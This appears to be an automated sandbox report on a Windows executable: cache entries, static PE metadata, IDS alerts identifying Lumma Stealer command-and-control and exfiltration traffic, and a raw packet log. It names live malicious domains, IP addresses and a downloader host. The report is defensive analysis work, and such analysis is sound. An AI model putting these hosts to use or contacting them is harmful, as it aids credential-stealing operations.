SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.527611345135392
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	RZnZbS97dD.exe
File size:	2'973'696 bytes
MD5:	17358c0bb94bbce22d048c8869a2919f
SHA1:	82e11d7256a8459a437e3c624cf7425d4198fea0
SHA256:	5e0c4325ca834cf9256bc5e27ff21749e05022e7822865b1e7a43f8b2fdb409f
SHA512:	e8b0aac5cbd5c02c16432fd530003624a69468285bd33bf717b26eb23a44f9d47c91fe392c8c8cc00b7d270fefe983b5c94b460742da4d6ba7a574d870e3d846
SSDEEP:	49152:LCk2WZSIIv/s852C2qaaIYL4ZDuiN/hSl7sW89cRA1v:u2ZSIIv/so2C2AL4htNEl7sW8sa
TLSH:	E2D55CA2B94871CFE48A2374952BCE42995E43B5271158C3ECA962BF7F73CC016BDD24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................00...........@..........................`0.......-...@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x703000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC6DD2BAA2Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	75bab70b7b4b10b726bac0945b399d61	False	0.9973779965753424	data	7.980592201387599	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oednloxr	0x54000	0x2ae000	0x2ae000	a3750523a55e39f9a6e67fd1a48e3560	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dwiucgls	0x302000	0x1000	0x400	286de1f764294c7a5a4a08da45dc2ee4	False	0.8125	data	6.149634921183713	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x303000	0x3000	0x2200	ecda82779af6ccca1ceb6f74b781196e	False	0.061810661764705885	DOS executable (COM)	0.7660597908540395	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T16:05:13.117237+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.7	64213	1.1.1.1	53	UDP
2024-12-20T16:05:13.260568+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.7	54584	1.1.1.1	53	UDP
2024-12-20T16:05:13.405071+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.7	64967	1.1.1.1	53	UDP
2024-12-20T16:05:14.772833+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49701	104.21.21.99	443	TCP
2024-12-20T16:05:14.772833+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49701	104.21.21.99	443	TCP
2024-12-20T16:05:15.580248+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49701	104.21.21.99	443	TCP
2024-12-20T16:05:15.580248+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49701	104.21.21.99	443	TCP
2024-12-20T16:05:16.819501+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49703	104.21.21.99	443	TCP
2024-12-20T16:05:16.819501+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	104.21.21.99	443	TCP
2024-12-20T16:05:17.603306+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49703	104.21.21.99	443	TCP
2024-12-20T16:05:17.603306+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49703	104.21.21.99	443	TCP
2024-12-20T16:05:19.515722+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49709	104.21.21.99	443	TCP
2024-12-20T16:05:19.515722+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49709	104.21.21.99	443	TCP
2024-12-20T16:05:21.920349+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49715	104.21.21.99	443	TCP
2024-12-20T16:05:21.920349+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49715	104.21.21.99	443	TCP
2024-12-20T16:05:22.886160+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49715	104.21.21.99	443	TCP
2024-12-20T16:05:24.366214+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49721	104.21.21.99	443	TCP
2024-12-20T16:05:24.366214+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49721	104.21.21.99	443	TCP
2024-12-20T16:05:27.090901+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49732	104.21.21.99	443	TCP
2024-12-20T16:05:27.090901+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49732	104.21.21.99	443	TCP
2024-12-20T16:05:29.612723+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49739	104.21.21.99	443	TCP
2024-12-20T16:05:29.612723+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49739	104.21.21.99	443	TCP
2024-12-20T16:05:34.863952+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49751	104.21.21.99	443	TCP
2024-12-20T16:05:34.863952+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49751	104.21.21.99	443	TCP
2024-12-20T16:05:35.635970+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49751	104.21.21.99	443	TCP
2024-12-20T16:05:37.125254+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49757	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:05:05.626004934 CET	49671	443	192.168.2.7	204.79.197.203
Dec 20, 2024 16:05:08.704099894 CET	49674	443	192.168.2.7	104.98.116.138
Dec 20, 2024 16:05:08.704240084 CET	49675	443	192.168.2.7	104.98.116.138
Dec 20, 2024 16:05:08.860394001 CET	49672	443	192.168.2.7	104.98.116.138
Dec 20, 2024 16:05:09.642132044 CET	49677	443	192.168.2.7	20.50.201.200
Dec 20, 2024 16:05:10.031776905 CET	49677	443	192.168.2.7	20.50.201.200
Dec 20, 2024 16:05:10.438497066 CET	49671	443	192.168.2.7	204.79.197.203
Dec 20, 2024 16:05:10.782218933 CET	49677	443	192.168.2.7	20.50.201.200
Dec 20, 2024 16:05:12.282232046 CET	49677	443	192.168.2.7	20.50.201.200
Dec 20, 2024 16:05:13.549207926 CET	49701	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:13.549242973 CET	443	49701	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:13.549587965 CET	49701	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:13.553097010 CET	49701	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:13.553117037 CET	443	49701	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:14.772762060 CET	443	49701	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:14.772833109 CET	49701	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:14.776174068 CET	49701	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:14.776185036 CET	443	49701	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:14.776566029 CET	443	49701	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:14.829116106 CET	49701	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:14.835010052 CET	49701	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:14.835010052 CET	49701	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:14.835218906 CET	443	49701	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:15.270926952 CET	49677	443	192.168.2.7	20.50.201.200
Dec 20, 2024 16:05:15.580260992 CET	443	49701	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:15.580370903 CET	443	49701	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:15.580616951 CET	49701	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:15.595920086 CET	49701	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:15.595920086 CET	49701	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:15.595947027 CET	443	49701	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:15.595957994 CET	443	49701	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:15.603780031 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:15.603810072 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:15.603895903 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:15.604212046 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:15.604219913 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:16.819385052 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:16.819500923 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:16.821039915 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:16.821048021 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:16.821300983 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:16.824572086 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:16.824632883 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:16.824697971 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.603296041 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.603390932 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.603460073 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:17.603471041 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.603607893 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.603636026 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.604046106 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:17.604054928 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.604309082 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:17.611936092 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.623842001 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.624020100 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:17.624030113 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.632455111 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.632575035 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:17.632585049 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.672930002 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:17.722950935 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.766644955 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:17.766658068 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.795252085 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.795331955 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:17.795341015 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.799012899 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.799181938 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:17.802194118 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:17.802194118 CET	49703	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:17.802206039 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:17.802213907 CET	443	49703	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:18.299632072 CET	49709	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:18.299690008 CET	443	49709	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:18.299796104 CET	49709	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:18.300102949 CET	49709	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:18.300117016 CET	443	49709	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:18.313507080 CET	49674	443	192.168.2.7	104.98.116.138
Dec 20, 2024 16:05:18.317038059 CET	49675	443	192.168.2.7	104.98.116.138
Dec 20, 2024 16:05:18.469763041 CET	49672	443	192.168.2.7	104.98.116.138
Dec 20, 2024 16:05:19.515629053 CET	443	49709	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:19.515722036 CET	49709	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:19.517148018 CET	49709	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:19.517158985 CET	443	49709	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:19.517410040 CET	443	49709	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:19.518610001 CET	49709	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:19.518754005 CET	49709	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:19.518788099 CET	443	49709	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:20.047941923 CET	49671	443	192.168.2.7	204.79.197.203
Dec 20, 2024 16:05:20.538209915 CET	443	49709	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:20.538321018 CET	443	49709	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:20.538377047 CET	49709	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:20.538582087 CET	49709	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:20.538595915 CET	443	49709	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:20.666186094 CET	49715	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:20.666254997 CET	443	49715	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:20.666338921 CET	49715	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:20.666676998 CET	49715	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:20.666695118 CET	443	49715	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:21.235404968 CET	49677	443	192.168.2.7	20.50.201.200
Dec 20, 2024 16:05:21.552898884 CET	443	49700	104.98.116.138	192.168.2.7
Dec 20, 2024 16:05:21.553010941 CET	49700	443	192.168.2.7	104.98.116.138
Dec 20, 2024 16:05:21.920176029 CET	443	49715	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:21.920348883 CET	49715	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:21.921607971 CET	49715	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:21.921638966 CET	443	49715	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:21.921952963 CET	443	49715	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:21.923422098 CET	49715	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:21.923585892 CET	49715	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:21.923630953 CET	443	49715	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:21.923710108 CET	49715	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:21.967329979 CET	443	49715	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:22.886111975 CET	443	49715	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:22.886317968 CET	443	49715	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:22.886406898 CET	49715	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:22.886523962 CET	49715	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:22.886543036 CET	443	49715	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:23.135323048 CET	49721	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:23.135361910 CET	443	49721	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:23.135451078 CET	49721	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:23.135869026 CET	49721	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:23.135883093 CET	443	49721	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:24.366134882 CET	443	49721	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:24.366214037 CET	49721	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:24.367409945 CET	49721	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:24.367419004 CET	443	49721	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:24.367804050 CET	443	49721	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:24.369553089 CET	49721	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:24.369695902 CET	49721	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:24.369744062 CET	443	49721	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:24.369823933 CET	49721	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:24.369832993 CET	443	49721	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:25.318398952 CET	443	49721	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:25.318497896 CET	443	49721	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:25.318586111 CET	49721	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:25.318936110 CET	49721	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:25.318952084 CET	443	49721	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:25.862451077 CET	49732	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:25.862485886 CET	443	49732	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:25.862689972 CET	49732	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:25.863101959 CET	49732	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:25.863115072 CET	443	49732	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:27.090742111 CET	443	49732	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:27.090900898 CET	49732	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:27.092806101 CET	49732	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:27.092816114 CET	443	49732	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:27.093194008 CET	443	49732	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:27.095088959 CET	49732	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:27.095191002 CET	49732	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:27.095195055 CET	443	49732	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:27.855541945 CET	443	49732	104.21.21.99	192.168.2.7
